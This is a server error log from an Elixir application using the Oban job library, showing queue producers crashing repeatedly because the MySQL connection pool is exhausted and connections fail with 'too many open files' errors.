    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:53:34.239195Z], limit: 20, uuid: "13748e78-edf7-493d-ac6a-2432cf39676f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:53:34.239201Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.60296>, refresh_timer: #Reference<0.2525715032.1121189889.227940>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:53:47.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1897ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:53:34.238955Z], limit: 3, uuid: "2f3fd1eb-d95e-4338-86a7-d0120c8d865f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:53:34.238961Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.60300>, refresh_timer: #Reference<0.2525715032.1121189889.227921>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:53:47.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2000ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:53:34.239250Z], limit: 5, uuid: "3e041083-b02d-4289-9db1-fbef75948e03", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:53:34.239254Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.60299>, refresh_timer: #Reference<0.2525715032.1121189889.227944>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:53:49.266000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:53:49.877000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:53:55.116000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:53:58.490000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:53:59.069000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:54:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 855ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:53:47.240985Z], limit: 20, uuid: "2c43fe9a-81ac-4014-b0f3-57d5c4b8993d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:53:47.240991Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.72828>, refresh_timer: #Reference<0.2525715032.1099431938.72817>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:54:00.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1056ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:53:47.241083Z], limit: 5, uuid: "022a3c5f-ada4-4db3-b097-6d975f1dbeff", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:53:47.241088Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.60595>, refresh_timer: #Reference<0.2525715032.1099431938.72820>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:54:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 846ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:53:47.240324Z], limit: 10, uuid: "b36ddba5-4abe-4515-a36a-de8f525fd9a2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:53:47.240331Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.60591>, refresh_timer: #Reference<0.2525715032.1077673987.60560>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:54:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 834ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:53:47.241097Z], limit: 3, uuid: "561d13d3-6c10-4c73-b7d8-c12fcd411ad9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:53:47.241104Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.60593>, refresh_timer: #Reference<0.2525715032.1077673987.60576>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:54:00.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 815ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:53:47.239352Z], limit: 5, uuid: "ee45b104-856d-4a5b-9246-e955a4d2532b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:53:47.239358Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.60594>, refresh_timer: #Reference<0.2525715032.1121189889.228150>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:54:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 866ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:53:47.240597Z], limit: 50, uuid: "c1c40ed2-3ec3-4279-a352-accf4dd47ae8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:53:47.240603Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.60592>, refresh_timer: #Reference<0.2525715032.1077673987.60563>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:54:00.663000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:54:05.921000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
